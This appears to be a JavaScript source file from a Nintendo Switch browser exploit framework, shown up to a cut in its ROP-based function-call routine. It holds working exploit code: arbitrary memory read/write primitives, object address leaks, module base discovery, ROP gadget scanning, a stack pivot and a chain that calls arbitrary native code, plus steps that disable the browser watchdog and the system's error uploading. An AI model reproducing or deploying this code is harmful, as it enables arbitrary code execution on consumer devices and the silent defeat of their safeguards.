/* eslint camelcase: "off" */
/* eslint no-redeclare: "off" */
/* eslint no-unmodified-loop-condition: "off" */
/* eslint no-fallthrough: "off" */
/* global XMLHttpRequest */
var utils = require('./utils');

var SDBCore = require('./sdbcore');
var AsyncCaller = require('./AsyncCaller');
var svcMixin = require('./svc');
var sploitMixin = require('./sploitMixin');

var IFile = require('./fs/IFile');
var IFileSystem = require('./fs/IFileSystem');
var IDirectory = require('./fs/IDirectory');

var config = require('../config');

/**
 A value that represents a 64-bit Integer<br>
 This is an array of exactly 2 values, as described below.

 @typedef {Array.<number>} u64
 @property {number} 0 - Low value of u64
 @property {number} 1 - High value of u64
 @example
 [ 0x00000000, 0xffff0000 ]
 */

/**
 Represents an instance of SploitCore
 @constructor
 @param {object} exploitMe - Reference to object used for leaking data
 @property {u64} base - Base address
 @property {boolean} isBrowser - Returns true
 @property {string} name - Returns "browser"
 */
var SploitCore = function (exploitMe) {
	this.gc();

	this.va = exploitMe.va;
	this.vb = exploitMe.vb;
	this.leakee = exploitMe.leakee;
	this.leakaddr = exploitMe.leakaddr;

	this.allocated = {};

	this.func = document.getElementById;
	this.func.apply(document, ['']); // Ensure the func pointer is cached at 8:9

	if (!SploitCore.prototype.importedMixins) {
		Object.keys(svcMixin).forEach((k) => {
			SploitCore.prototype[k] = svcMixin[k];
		});

		Object.keys(sploitMixin).forEach((k) => {
			SploitCore.prototype[k] = sploitMixin[k];
		});

		SploitCore.prototype.importedMixins = true;
	}

	this.sc = this;

	this.base = this.getBase();

	this.mainaddr = this.walkList();
	utils.dlog('Main address ' + utils.paddr(this.mainaddr));

	// This isn't exactly right, but really shouldn't matter.  As long as it's <= the real size, we won't crash.
	this.mainTextSize = 0x5B2000;
	this.wkcTextSize = 0xF37000;

	this.gadgetCache = this.loadCache();

	this.fake_stack = this.malloc(0x100000);

	this.ipcBuf = new Uint32Array(0x2000 >> 2);
	this.emptyIpcBuf = new Uint32Array(0x2000 >> 2); // Keep this empty.
	this.ipcBufAddr = this.getArrayBufferAddr(this.ipcBuf);
	this.sploitMixinInit();
	this.ipcServices = {};

	this.gc();
	utils.log('Disabling watchdog timer...');
	this.disableWatchdog();

	var versbuf = new ArrayBuffer(0x100);
	this.ipcMsg(3).cDescriptor(versbuf).sendTo("set:sys").assertOk();
	this.version = utils.u8a2nullstr(new Uint8Array(versbuf, 0x68, 0x100-0x68));

	var sc = this;

	if (config.sdbcore) {
		utils.log('Pwning sdb module...');
		this.sdb = new SDBCore(this, this.version);
		if(!this.sdb.initialized) {
			utils.log('Failed to initialize sdb');
			this.sdb = null;
		}
	}

	sc.getServices(["set:sys", "set:fd"], function (setsys, setfd) {
		var getSetting = function (session, cls, nam) { // session is set:sys
			var out = new Uint32Array(1);
			var x1 = utils.str2ab(cls);
			var x2 = utils.str2ab(nam);
			return sc.ipcMsg(38).bDescriptor(out, 4, 0).xDescriptor(x1, 48, 0).xDescriptor(x2, 48, 1).sendTo(session).asResult().map((r) => out[0]);
		}

		var setSetting = function (session, cls, nam, value) { // session is set:fd
			var a = new Uint32Array(1);
			a[0] = value;
			var x1 = utils.str2ab(cls);
			var x2 = utils.str2ab(nam);
			return sc.ipcMsg(2).xDescriptor(x1, 48, 0).xDescriptor(x2, 48, 1).aDescriptor(a, 4, 0).sendTo(session).asResult();
		}
		var cls = 'eupld', name = 'upload_enabled';
		var orig = getSetting(setsys, cls, name).assertOk();
		if(orig == 1) {
			utils.log('Disabling error uploading.');
			setSetting(setfd, cls, name, 0).assertOk();
		}
	});
	  
	this.asyncCaller = new AsyncCaller(this);
	utils.log('~~success');
};

SploitCore.prototype.isBrowser = true;
SploitCore.prototype.name = "browser";

/**
	Returns address of function
	@returns {u64} Address of function 
 */
SploitCore.prototype.getFuncAddr = function () {
	this.func.apply(document, ['']); // Ensure the func pointer is cached at 8:9
	var tlfuncaddr = this.getAddr(this.func);
	return this.read8(tlfuncaddr, 6);
};

/**
	Reads 4 bytes from address
	@param {u64} addr - Address to read value from
	@param {number} [offset=0] - Offset to add to addr before read
	@returns {number}
 */
SploitCore.prototype.read4 = function (addr, offset) {
	if (arguments.length === 1) { offset = 0; }

	utils.assertu64(addr);
  
	this.va[4] = addr[0];
	this.va[5] = addr[1];
	this.va[6] = 1 + offset;
	return this.vb[offset];
};

/**
	Writes 4 bytes to address
	@param {number} val - Value to write
	@param {u64} addr - Address to write value to
	@param {number} [offset=0] - Offset to add to addr before write
 */
SploitCore.prototype.write4 = function (val, addr, offset) {
	if (arguments.length === 2) { offset = 0; }

	this.va[4] = addr[0];
	this.va[5] = addr[1];
	this.va[6] = 1 + offset;

	this.vb[offset] = val;
};

/**
	Reads 8 bytes from address
	@param {u64} addr - Address to read value from
	@param {number} [offset=0] - Offset to add to addr before read
	@returns {number}
 */
SploitCore.prototype.read8 = function (addr, offset) {
	if (arguments.length === 1) { offset = 0; }
	return [this.read4(addr, offset), this.read4(addr, offset + 1)];
};

/**
	Writes 8 bytes to address
	@param {number} val - Value to write
	@param {u64} addr - Address to write value to
	@param {number} [offset=0] - Offset to add to addr before write
 */
SploitCore.prototype.write8 = function (val, addr, offset) {
	if (arguments.length === 2) { offset = 0; }
	val = utils.pad64(val);
	this.write4(val[0], addr, offset);
	this.write4(val[1], addr, offset + 1);
};

/**
	Calls callback with an ArrayBuffer pointing to the view of memory requested.<br>
	If you return a value from within the callback it will be returned by {@link SploitCore#memview}<br>
	<b>Warning:</b> If you keep that view or any object using it around; you will tank the GC and your Switch will crash.
	@param {u64} addr - Base address for view
	@param {number} size - Number of bytes to view
	@param {function} func - Function which is called with ArrayBuffer.
	@returns {any} Value returned by func
 */
SploitCore.prototype.memview = function (addr, size, func) {
	var ab = new ArrayBuffer(0);
	var taddr = this.read8(this.getAddr(ab), 4);

	var origPtr = this.read8(taddr, 6);
	var origSize = this.read4(taddr, 8);
	this.write8(addr, taddr, 6);
	this.write4(size, taddr, 8);

	var ret = func.apply(this, [ab]);

	this.write8(origPtr, taddr, 6);
	this.write4(origSize, taddr, 8);

	return ret;
};

/**
	Returns address of object
	@param {object} obj - Object to get address of
	@returns {u64} Address of object
 */
SploitCore.prototype.getAddr = function (obj) {
	this.leakee['b'] = {'a': obj};
	return this.read8(this.read8(this.leakaddr, 4), 4);
};

/**
	Calculate address relative to main address
	@param {u64} off - Offset
	@returns {u64} Relative address
 */
SploitCore.prototype.mref = function (off) {
	return utils.add2(this.mainaddr, off);
};

/**
	Returns base address of current module
	@private
	@returns {u64}
 */
SploitCore.prototype.getBase = function () {
	var funcaddr = this.getFuncAddr();

	utils.dlog('Searching for start of module.');

	var baseaddr = this.read8(funcaddr, 8);
	baseaddr[0] = (baseaddr[0] & 0xFFFFF000) >>> 0;
	while (this.read4(baseaddr, 4) !== 0x304F524E) { baseaddr = utils.add2(baseaddr, -4096); }

	utils.dlog('First module ... ' + utils.paddr(baseaddr));

	return baseaddr;
};

/**
	TODO DOCS
	@private
 */
SploitCore.prototype.walkList = function () {
	var addr = this.base;
	utils.dlog('Initial NRO at ' + utils.paddr(addr));

	while (true) {
		var modoff = this.read4(addr, 1);
		addr = utils.add2(addr, modoff);
		var modstr = this.read4(addr, 6);
		addr = utils.add2(addr, modstr);

		// Read next link ptr
		addr = this.read8(addr);
		if (utils.nullptr(addr)) {
			utils.log('Reached end');
			break;
		}

		var nro = this.read8(addr, 8);

		if (utils.nullptr(nro)) {
			utils.dlog('Hit RTLD at ' + utils.paddr(addr));
			addr = this.read8(addr, 4);
			break;
		}

		if (this.read4(nro, 4) !== 0x304f524e) {
			utils.log('Something is wrong.  No NRO header at base.');
			break;
		}

		addr = nro;
		utils.dlog('Found NRO at ' + utils.paddr(nro));
	}

	while (true) {
		nro = this.read8(addr, 8);
		if (utils.nullptr(nro)) {
			utils.dlog('Hm, hit the end of things.  Back in rtld?');
			return;
		}

		if (this.read4(nro, this.read4(nro, 1) >> 2) === 0x30444f4d) {
			utils.dlog('Got MOD at ' + utils.paddr(nro));
			if (this.read4(nro, 4) === 0x8DCDF8 && this.read4(nro, 5) === 0x959620) {
				utils.dlog('Found main module.');
				this.wifiApplet = true;
				return nro;
			} else if (this.read4(nro, 4) === 0x2a0103f3 && this.read4(nro, 5) === 0x94000002) {
				utils.dlog('Found main module.');
				this.wifiApplet = false;
				return utils.add2(nro, 0x6000);
			}
		} else {
			utils.dlog('No valid MOD header.  Back at RTLD.');
			break;
		}

		addr = this.read8(addr, 0);
		if (utils.nullptr(addr)) {
			utils.dlog('End of chain.');
			break;
		}
	}
};

/**
	Returns a cache of gadgets for speed boost
	@private
	@returns {object}
 */
SploitCore.prototype.loadCache = function () {
	var self = this;
	function checkGadget (base, size, gadget, offset) {
		if (offset + gadget.length >= size) { return false; }
		return self.memview(utils.add2(base, offset), gadget.length, function (ab) {
			var u8 = new Uint8Array(ab);
			for (var i = 0; i < gadget.length; ++i) {
				if (gadget[i] !== -1 && gadget[i] !== u8[i]) { return false; }
			}
			return true;
		});
	}
	var request = new XMLHttpRequest();
	request.open('GET', '/cache', false);
	request.send(null);
	if (request.status === 200) {
		var cache = JSON.parse(request.responseText);
		for (var key in cache) {
			var offset = cache[key];
			key = JSON.parse('[' + key + ']');
			if (!checkGadget(this.mainaddr, this.mainTextSize, key, offset) && !checkGadget(this.base, this.wkcTextSize, key, offset)) {
				utils.log('Gadget cache invalid');
				return {};
			}
		}
		return cache;
	} else { return {}; }
};


// XXX: Make this work on uint32s.  Way faster.

/**
	Finds a gadget that matches required pattern
	@param {Array.<number>} input - Hex pattern to match
	@param {boolean} inWkc - Search in wkc
	@returns {u64|null} Address of gadget, or null if not found. 
 */
SploitCore.prototype.gadget = function (input, inWkc) {
	if (arguments.length === 1) { inWkc = false; }

	var bytes;
	if (typeof (input) === 'string') {
		var arr = [];
		for (var i = 0; i < input.length; i += 2) {
			arr.push(parseInt(input.substring(i, i + 2), 16));
		}
		bytes = arr;
	} else {
		bytes = input;
	}

	var ta = inWkc ? this.base : this.mainaddr;

	if (bytes in this.gadgetCache) {
		// utils.dlog('Found bytes in gadget cache');
		return utils.add2(ta, this.gadgetCache[bytes]);
	}

	var ts = inWkc ? this.wkcTextSize : this.mainTextSize;

	var ss = ts - bytes.length;
	var pair = this.memview(ta, ts, function (ab) {
		var u8 = new Uint8Array(ab);
		for (var i = 0; i < ss; i += 4) {
			var miss = false;
			for (var j = 0; j < bytes.length; ++j) {
				if (bytes[j] !== -1 && u8[i + j] !== bytes[j]) {
					miss = true;
					break;
				}
			}
			if (!miss) {
				var addr = utils.add2(ta, i);
				utils.log('Found gadget at ' + utils.paddr(addr));
				return [addr, i];
			}
		}
		return null;
	});

	if (pair === null) {
		var f = '';
		for (i = 0; i < bytes.length; ++i) {
			f += ('0' + bytes[i].toString(16)).slice(-2) + ' ';
		}
		utils.log('Could not find gadget with bytes: ' + f);
		throw new Error('Bad gadget');
	}

	this.gadgetCache[bytes] = pair[1];
	utils.pushCache(this.gadgetCache);
	return pair[0];
};

/**
	Disables the browser watchdog
 */
SploitCore.prototype.disableWatchdog = function () {
	var common_byte = navigator.userAgent.indexOf('4.0.0.6.9') != -1 ? 0x73 : 0x53;
	var vm = this.call(this.gadget([0xFF, 0x03, 0x01, 0xD1, 0xF4, 0x4F, 0x02, 0xA9, 0xFD, 0x7B, 0x03, 0xA9, 0xFD, 0xC3, 0x00, 0x91, (common_byte), -1, -1, -1, 0x73, -1, -1, -1, 0x60, 0x22, 0x00, 0x91, 0x08, 0xFC, 0xDF, 0x08, 0x48, 0x01, 0x00, 0x37], true));
	utils.log("VM: " + utils.paddr(vm));

	var wd = this.read8(utils.add2(vm, 0x2768));
	utils.log("WD: " + utils.paddr(wd));

	var ret0 = this.gadget([0xe0, 0x03, 0x1f, 0xaa, 0xc0, 0x03, 0x5f, 0xd6]);

	var current = this.read8(wd, 8 >> 2);
	if (current[0] != 0xFFFFFFFF || current[1] != 0x7FFFFFFF) {
		this.call(this.gadget([0xF9, 0x0F, 0x1B, 0xF8, 0xF8, 0x5F, 0x01, 0xA9, 0xF6, 0x57, 0x02, 0xA9, 0xF4, 0x4F, 0x03, 0xA9, 0xFD, 0x7B, 0x04, 0xA9, 0xFD, 0x03, 0x01, 0x91, 0xF3, 0x03, 0x00, 0xAA, 0x79, 0x06, 0x40, 0xF9, 0x68, 0x92, 0x40, 0x39], true), [wd, vm, [0xFFFFFFFF, 0x7FFFFFFF], ret0, 0, 0]);
	}
};

/**
	Returns the address of SP
	@returns {u64} Address of SP
 */
SploitCore.prototype.getSP = function () {
	// First gadget
	var jaddr = this.gadget([0x74, 0x32, 0x40, 0xF9, 0x7F, 0x3E, 0x00, 0xF9, 0x14, 0x01, 0x00, 0xB4, 0x80, 0x0A, 0x40, 0xF9]);

	utils.dlog('New jump at ' + utils.paddr(jaddr));
	utils.dlog('Assigning function pointer');

	var carr = new Uint32Array(16);
	var cbuf = this.read8(this.getAddr(carr), 4);

	var struct1 = this.malloc(0x48);
	var struct2 = this.malloc(0x28);
	var struct3 = this.malloc(0x518);
	var struct4 = this.malloc(0x38);

	this.write8(struct1, cbuf, 0);
	this.write8(this.gadget([0x09, 0x09, 0x40, 0xf9, 0x00, 0x01, 0x40, 0xf9, 0x01, 0x29, 0x40, 0xb9, 0x02, 0x1d, 0x40, 0xf9, 0x20, 0x01, 0x3f, 0xd6]), cbuf, 0x8 >> 2);
	this.write8(this.gadget([0x08, 0x08, 0x40, 0xf9, 0x00, 0x01, 0x40, 0xf9, 0x05, 0x10, 0x40, 0xf9, 0xa0, 0x00, 0x1f, 0xd6]), cbuf, 0x10 >> 2);

	this.write8(this.gadget([0xE8, 0x03, 0x00, 0xAA, 0x02, 0x05, 0x40, 0xF9, 0x82, 0x00, 0x00, 0xB4, 0xE0, 0x03, 0x00, 0x32]), struct1, 0);
	this.write8(struct2, struct1, 0x10 >> 2);

	this.write8(struct3, struct2, 0);
	this.write8(this.gadget([0xf3, 0x03, 0x00, 0xaa, 0x08, 0x41, 0x00, 0x91, 0x68, 0x02, 0x00, 0xf9, 0x68, 0x0e, 0x40, 0xf9, 0x00, 0x01, 0x3f, 0xd6]), struct2, 0x20 >> 2);

	this.write8([0x00000000, 0xffff0000], struct3, 0x8 >> 2);
	this.write8(this.gadget([0x08, 0x88, 0x42, 0xf9, 0x02, 0x19, 0x40, 0xf9, 0x40, 0x00, 0x1f, 0xd6]), struct3, 0x18 >> 2);
	this.write8(this.gadget([0x09, 0x11, 0x40, 0xf9, 0xe8, 0x23, 0x00, 0x91, 0xe1, 0x03, 0x14, 0xaa, 0x20, 0x01, 0x3f, 0xd6]), struct3, 0x20 >> 2);
	this.write8(struct4, struct3, 0x510 >> 2);

	this.write8(this.gadget([0x78, 0x06, 0x40, 0xf9, 0xe1, 0x03, 0x1e, 0x32, 0x00, 0x01, 0x3f, 0xd6]), struct4, 0x18 >> 2);
	this.write8(this.gadget([0x60, 0x03, 0x3f, 0xd6]), struct4, 0x28 >> 2);
	this.write8(this.gadget([0x02, 0x0d, 0x40, 0xf9, 0x08, 0x15, 0x40, 0xf9, 0xe0, 0x03, 0x01, 0xaa, 0xe1, 0x03, 0x08, 0xaa, 0x40, 0x00, 0x1f, 0xd6]), struct4, 0x30 >> 2);

	var funcaddr = this.getFuncAddr();
	utils.dlog('Function object at ' + utils.paddr(funcaddr));

	var curptr = this.read8(funcaddr, 8);
	this.write8(jaddr, funcaddr, 8);
	// utils.log('Patched function address from ' + utils.paddr(curptr) + ' to ' + utils.paddr(this.read8(this.funcaddr, 8)));

	utils.dlog('Assigned.  Jumping to get SP.');
	this.func.apply(0x100, [0, 0, 0, 0, 0, 0, 0, 0, carr, 0, 0, 0, 0, 0, 0, 0, 0]);
	utils.dlog('Jumped back from getting SP.');

	this.write8(curptr, funcaddr, 8);
	utils.dlog('Restored original function pointer.');

	var sp = utils.add2(this.read8(struct3, 0), -0x18);
	utils.dlog('Got stack pointer: ' + utils.paddr(sp));

	this.free(struct1);
	this.free(struct2);
	this.free(struct3);
	this.free(struct4);

	utils.dlog('Freed buffers');

	return sp;
};

/**
	Allocates a region of memory to use
	@param {number} bytes - Size of region
	@returns {u64} Address of region
 */
SploitCore.prototype.malloc = function (bytes) {
	var obj = new ArrayBuffer(bytes);
	var addr = this.getArrayBufferAddr(obj);
	this.allocated[addr] = obj;
	return addr;
};

/**
	TODO DOCS
 */
SploitCore.prototype.free = function (addr) {
	delete this.allocated[addr];
};

/**
	TODO DOCS
 */
SploitCore.prototype.getArrayBufferAddr = function (ab) {
	var offset = 0;
	if (ArrayBuffer.isView(ab)) {
		offset = ab.byteOffset;
		ab = ab.buffer;
	}
	if (!(ab instanceof ArrayBuffer)) {
		throw new Error('expected ArrayBuffer or view');
	}
	return utils.add2(this.read8(this.read8(this.getAddr(ab), 4), 6), offset);
};

/**
	TODO DOCS
 */
SploitCore.prototype.call = function (funcptr, args, fargs, registers, dump_regs) {
	if (typeof (funcptr) === 'number') {
		funcptr = utils.add2(this.mainaddr, funcptr);
	}
	switch (arguments.length) {
	case 1: {
		args = [];
	}
	case 2: {
		fargs = [];
	}
	case 3: {
		registers = [];
	}
	case 4: {
		dump_regs = false;
	}
	}

	for (var i = 0; i < args.length; i++) {
		if (args[i] instanceof ArrayBuffer || ArrayBuffer.isView(args[i])) {
			args[i] = this.getArrayBufferAddr(args[i]);
		}
		if (typeof(args[i]) !== "number" && !Array.isArray(args[i])) {
			throw new Error("argument " + i + " is invalid: " + args[i]);
		}
	}

	var carr = new Uint32Array(16);
	var cbuf = this.read8(this.getAddr(carr), 4);

	utils.dlog('Starting holy rop');
	var jaddr = this.gadget([0x74, 0x32, 0x40, 0xF9, 0x7F, 0x3E, 0x00, 0xF9, 0x14, 0x01, 0x00, 0xB4, 0x80, 0x0A, 0x40, 0xF9]);
	utils.dlog('New jump at ' + utils.paddr(jaddr));

	utils.dlog('Setting up structs');

	// Begin Gadgets
	var mov_x0_into_x8_load_br_x2 = this.gadget([0xE8, 0x03, 0x00, 0xAA, 0x02, 0x05, 0x40, 0xF9, 0x82, 0x00, 0x00, 0xB4, 0xE0, 0x03, 0x00, 0x32]);
	var load_x0_w1_x2_x9_blr_x9 = this.gadget([0x09, 0x09, 0x40, 0xf9, 0x00, 0x01, 0x40, 0xf9, 0x01, 0x29, 0x40, 0xb9, 0x02, 0x1d, 0x40, 0xf9, 0x20, 0x01, 0x3f, 0xd6]);
	var load_x2_x30_mov_sp_into_x2_br_x30 = this.gadget([0x1d, 0x78, 0x45, 0xa9, 0x02, 0x34, 0x40, 0xf9, 0x5f, 0x00, 0x00, 0x91, 0x08, 0x24, 0x47, 0x6d, 0x0a, 0x2c, 0x48, 0x6d, 0x0c, 0x34, 0x49, 0x6d, 0x0e, 0x3c, 0x4a, 0x6d, 0xe0, 0x03, 0x01, 0xaa, 0x41, 0x00, 0x00, 0xb5, 0x20, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x1f, 0xd6]);
	var load_x2_x8_br_x2 = this.gadget([0x02, 0x0d, 0x40, 0xf9, 0x08, 0x15, 0x40, 0xf9, 0xe0, 0x03, 0x01, 0xaa, 0xe1, 0x03, 0x08, 0xaa, 0x40, 0x00, 0x1f, 0xd6]);
	var load_x30_from_sp_br_x2 = this.gadget([0xfd, 0x7b, 0x42, 0xa9, 0xff, 0xc3, 0x00, 0x91, 0x40, 0x00, 0x1f, 0xd6]);
	var returngadg = this.gadget([0x60, 0x03, 0x3f, 0xd6]);

	var savegadg = this.gadget([0x00, 0x04, 0x00, 0xa9, 0x02, 0x0c, 0x01, 0xa9, 0x04, 0x14, 0x02, 0xa9, 0x06, 0x1c, 0x03, 0xa9]);
	var loadgadg = this.gadget([0x02, 0x0c, 0x41, 0xa9, 0x04, 0x14, 0x42, 0xa9, 0x06, 0x1c, 0x43, 0xa9, 0x08, 0x24, 0x44, 0xa9]);
	var loadgadg_stage2 = this.gadget([0xe0, 0x07, 0xc1, 0xa8, 0xe2, 0x0f, 0xc1, 0xa8, 0xe4, 0x17, 0xc1, 0xa8, 0xe6, 0x1f, 0xc1, 0xa8]);

	var load_x19 = this.gadget([0xf3, 0x17, 0x40, 0xf9, 0xfd, 0x7b, 0x43, 0xa9, 0xff, 0x03, 0x01, 0x91, 0xc0, 0x03, 0x5f, 0xd6]);
	var str_x20 = this.gadget([0x74, 0x0a, 0x00, 0xf9, 0xfd, 0x7b, 0x41, 0xa9, 0xf4, 0x4f, 0xc2, 0xa8, 0xc0, 0x03, 0x5f, 0xd6]);
	var str_x8 = this.gadget([0xfd, 0x7b, 0x41, 0xa9, 0x68, 0x02, 0x00, 0xf9, 0xf3, 0x07, 0x42, 0xf8, 0xc0, 0x03, 0x5f, 0xd6]);
	var load_and_str_x8 = this.gadget([0x68, 0x02, 0x40, 0xf9, 0x88, 0x02, 0x00, 0xf9, 0xfd, 0x7b, 0x41, 0xa9, 0xf4, 0x4f, 0xc2, 0xa8]);
	var str_x1 = this.gadget([0x61, 0x0e, 0x00, 0xf9, 0xfd, 0x7b, 0x41, 0xa9, 0xf4, 0x4f, 0xc2, 0xa8, 0xc0, 0x03, 0x5f, 0xd6]);
	var mov_x2_into_x1 = this.gadget([0xe1, 0x03, 0x02, 0xaa, 0x00, 0x01, 0x3f, 0xd6, 0xfd, 0x7b, 0xc1, 0xa8, 0xe0, 0x03, 0x1f, 0x2a]);
	var str_x0 = this.gadget([0xfd, 0x7b, 0x41, 0xa9, 0x60, 0x02, 0x00, 0xf9, 0xf3, 0x07, 0x42, 0xf8, 0xc0, 0x03, 0x5f, 0xd6]);
	var str_x9 = this.gadget([0x69, 0x2e, 0x00, 0xf9, 0xfd, 0x7b, 0x41, 0xa9, 0xf3, 0x07, 0x42, 0xf8, 0xc0, 0x03, 0x5f, 0xd6]);
	var mov_x19_into_x0 = this.gadget([0xfd, 0x7b, 0x41, 0xa9, 0xe0, 0x03, 0x13, 0xaa, 0xf3, 0x07, 0x42, 0xf8, 0xc0, 0x03, 0x5f, 0xd6]);

	// End Gadgets

	var context_load_struct = this.malloc(0x200);
	var block_struct_0 = this.malloc(0x200);
	var block_struct_1 = this.malloc(0x200);
	var block_struct_2 = this.malloc(0x200);
	var block_struct_3 = this.malloc(0x200);
	var savearea = this.malloc(0x400);
	var loadarea = this.malloc(0x400);
	var dumparea = this.malloc(0x400);
	var allocated_stack = utils.add2(this.fake_stack, 0); // Make a copy.
	var base_sp = this.getSP();

	// Step 0: Load up some initial ROP to launch into full control

	this.write8(utils.add2(cbuf, 0x38), cbuf, 0); // cbuf[0] = cbuf + 0x8
	this.write8(load_x2_x8_br_x2, cbuf, 0x8 >> 2); // Third gadget
	this.write8(load_x0_w1_x2_x9_blr_x9, cbuf, 0x18 >> 2); // Fourth Gadget
	this.write8(block_struct_0, cbuf, 0x28 >> 2); // Setup X8 with struct
	this.write8(mov_x0_into_x8_load_br_x2, cbuf, 0x38 >> 2); // Second gadget

	// Step 1: Load X8 with a fixed address, control X0:X2

	this.write8(context_load_struct, block_struct_0, 0x00 >> 2);
	this.write8(load_x0_w1_x2_x9_blr_x9, block_struct_0, 0x08 >> 2);
	this.write8(load_x2_x30_mov_sp_into_x2_br_x30, block_struct_0, 0x10 >> 2);
	this.write8(load_x0_w1_x2_x9_blr_x9, block_struct_0, 0x18 >> 2);
	this.write8(block_struct_1, block_struct_0, 0x28 >> 2);

	// Step 2: Stack pivot to SP - 0x8000. -0x30 to use a LR-loading gadget.

	this.write8(load_x2_x8_br_x2, context_load_struct, 0x58 >> 2);
	this.write8(allocated_stack, context_load_struct, 0x68 >> 2);
	this.write8(returngadg, context_load_struct, 0x158 >> 2);
	this.write8(base_sp, context_load_struct, 0x168 >> 2);

	// Step 3: Perform a full context-save of all registers to savearea.

	this.write8(savearea, block_struct_1, 0x0 >> 2);
	this.write8(load_x30_from_sp_br_x2, block_struct_1, 0x10 >> 2);
	this.write8(load_x0_w1_x2_x9_blr_x9, block_struct_1, 0x18 >> 2);
	this.write8(block_struct_2, block_struct_1, 0x28 >> 2);
	this.write8(savegadg, block_struct_1, 0x38 >> 2);

	this.write8(load_x2_x8_br_x2, allocated_stack, 0x28 >> 2);

	var sp = utils.add2(allocated_stack, 0x30);

	// Step 4: Perform a full context-load from a region we control.

	this.write8(loadarea, block_struct_2, 0x00 >> 2);
	this.write8(loadgadg, block_struct_2, 0x10 >> 2);

	// Step 5: Write desired register contents to the context load region.

	this.write8(sp, loadarea, 0xF8 >> 2); // Can write an arbitrary stack ptr here, for argument passing
	this.write8(loadgadg_stage2, loadarea, 0x100 >> 2); // Return from load to load-stage2

	// Write registers for native code.
	if (registers.length > 9) {
		for (i = 9; i < 30 && i < registers.length; i++) {
			this.write8(registers[i], loadarea, (8 * i) >> 2);
		}
	}

	if (registers.length > 0) {
		for (i = 0; i <= 8 && i < registers.length; i++) {
			this.write8(registers[i], sp, (0x8 * i) >> 2);
		}

		if (registers.length > 19) {
			this.write8(registers[19], sp, 0x48 >> 2);
		}

		if (registers.length > 29) {
			this.write8(registers[29], sp, 0x50 >> 2);
		}
	}

	if (args.length > 0) {
		for (i = 0; i < args.length && i < 8; i++) {
			this.write8(args[i], sp, (0x8 * i) >> 2);
		}
	}

	if (fargs.length > 0) {
		for (i = 0; i < fargs.length && i < 32; i++) {
			this.write8(fargs[i], loadarea, (0x110 + 8 * i) >> 2);
		}
	}

	this.write8(funcptr, loadarea, 0x80 >> 2); // Set the code to call to our function pointer.
	this.write8(load_x19, sp, 0x58 >> 2); // Set Link Register for our arbitrary function to point to cleanup rop

	// Stack arguments would be bottomed-out at sp + 0xE0...
	// TODO: Stack arguments support. Would just need to figure out how much space they take up
	// and write ROP above them. Note: the user would have to call code that actually used
	// that many stack arguments, or shit'd crash.

	// ROP currently begins at sp + 0xE0

	// Step 6: [Arbitrary code executes here]

	// Step 7: Post-code execution cleanup. Dump all registers to another save area,
	//         return cleanly to javascript.

	this.write8(utils.add2(dumparea, 0x300 - 0x10), sp, (0x060 + 0x28) >> 2); // Load X19 = dumparea + 0x300 - 0x10
	this.write8(str_x20, sp, (0x060 + 0x38) >> 2);                      // Load LR with str_x20
	this.write8(utils.add2(dumparea, 0x308), sp, (0x0A0 + 0x8) >> 2);        // Load X19 = dumparea + 0x308
	this.write8(str_x8, sp, (0x0A0 + 0x18) >> 2);                      // Load LR with str_x8
	this.write8(utils.add2(dumparea, 0x310 - 0x18), sp, (0x0C0 + 0x0) >> 2); // Load X19 = dumparea + 0x310 - 0x18
	this.write8(str_x1, sp, (0x0C0 + 0x18) >> 2);                      // Load LR with str_x1
	this.write8(utils.add2(dumparea, 0x3F8), sp, (0x0E0 + 0x0) >> 2);        // Load X20 with scratch space
	this.write8(utils.add2(dumparea, 0x380), sp, (0x0E0 + 0x8) >> 2);        // Load X19 = dumparea + 0x380
	this.write8(str_x1, dumparea, 0x380 >> 2);                         // Write str_x1 to dumparea + 0x380
	this.write8(load_and_str_x8, sp, (0x0E0 + 0x18) >> 2);             // Load LR with Load, STR X8
	this.write8(utils.add2(dumparea, 0x318 - 0x18), sp, (0x100 + 0x8) >> 2); // Load X19 = dumparea + 0x318 - 0x18
	this.write8(mov_x2_into_x1, sp, (0x100 + 0x18) >> 2);              // Load LR with mov x1, x2
	this.write8(utils.add2(dumparea, 0x3F8), sp, (0x120 + 0x0) >> 2);        // Load X20 with scratch space
	this.write8(utils.add2(dumparea, 0x320), sp, (0x120 + 0x8) >> 2);        // Load X19 = dumparea + 0x320
	this.write8(str_x0, sp, (0x120 + 0x18) >> 2);                      // Load LR with str x0
	this.write8(utils.add2(dumparea, 0x388), sp, (0x140 + 0x0) >> 2);        // Load X19 = dumparea + 0x388
	this.write8(utils.add2(dumparea, 0x320), dumparea, 0x388 >> 2);          // Write dumparea + 0x320 to dumparea + 0x388
	this.write8(load_and_str_x8, sp, (0x140 + 0x18) >> 2);             // Load LR with load, STR X8
	this.write8(utils.add2(dumparea, 0x3F8), sp, (0x160 + 0x0) >> 2);        // Load X20 with scratch space
	this.write8(utils.add2(dumparea, 0x328 - 0x58), sp, (0x160 + 0x8) >> 2); // Load X19 = dumparea + 0x328 - 0x58
	this.write8(str_x9, sp, (0x160 + 0x18) >> 2);                      // Load LR with STR X9
	this.write8(utils.add2(dumparea, 0x390), sp, (0x180 + 0x0) >> 2);        // Load X19 with dumparea + 0x390
	this.write8(block_struct_3, dumparea, 0x390 >> 2);                 // Write block struct 3 to dumparea + 0x390
	this.write8(load_and_str_x8, sp, (0x180 + 0x18) >> 2);             // Load LR with load, STR X8
	this.write8(load_x0_w1_x2_x9_blr_x9, sp, (0x1A0 + 0x18) >> 2);     // Load LR with gadget 2

	// Block Struct 3
	this.write8(dumparea, block_struct_3, 0x00 >> 2);
	this.write8(load_x30_from_sp_br_x2, block_struct_3, 0x10 >> 2);
	this.write8(savegadg, block_struct_3, 0x38 >> 2);

	this.write8(utils.add2(str_x20, 0x4), sp, (0x1C0 + 0x28) >> 2);          // Load LR with LD X19, X20, X30
	this.write8(utils.add2(savearea, 0xF8), sp, (0x1F0 + 0x0) >> 2);         // Load X20 with savearea + 0xF8 (saved SP)
	this.write8(utils.add2(dumparea, 0x398), sp, (0x1F0 + 0x8) >> 2);     // Load X19 with dumparea + 0x398
	this.write8(base_sp, dumparea, 0x398 >> 2);                           // Write SP to dumparea + 0x38
	this.write8(load_and_str_x8, sp, (0x1F0 + 0x18) >> 2);                   // Load X30 with LD, STR X8
	this.write8(utils.add2(savearea, 0x100), sp, (0x210 + 0x0) >> 2);        // Load X20 with savearea + 0x100 (saved LR)
	this.write8(utils.add2(dumparea, 0x3A0), sp, (0x210 + 0x8) >> 2);     // Load X19 with dumparea + 0x3A0
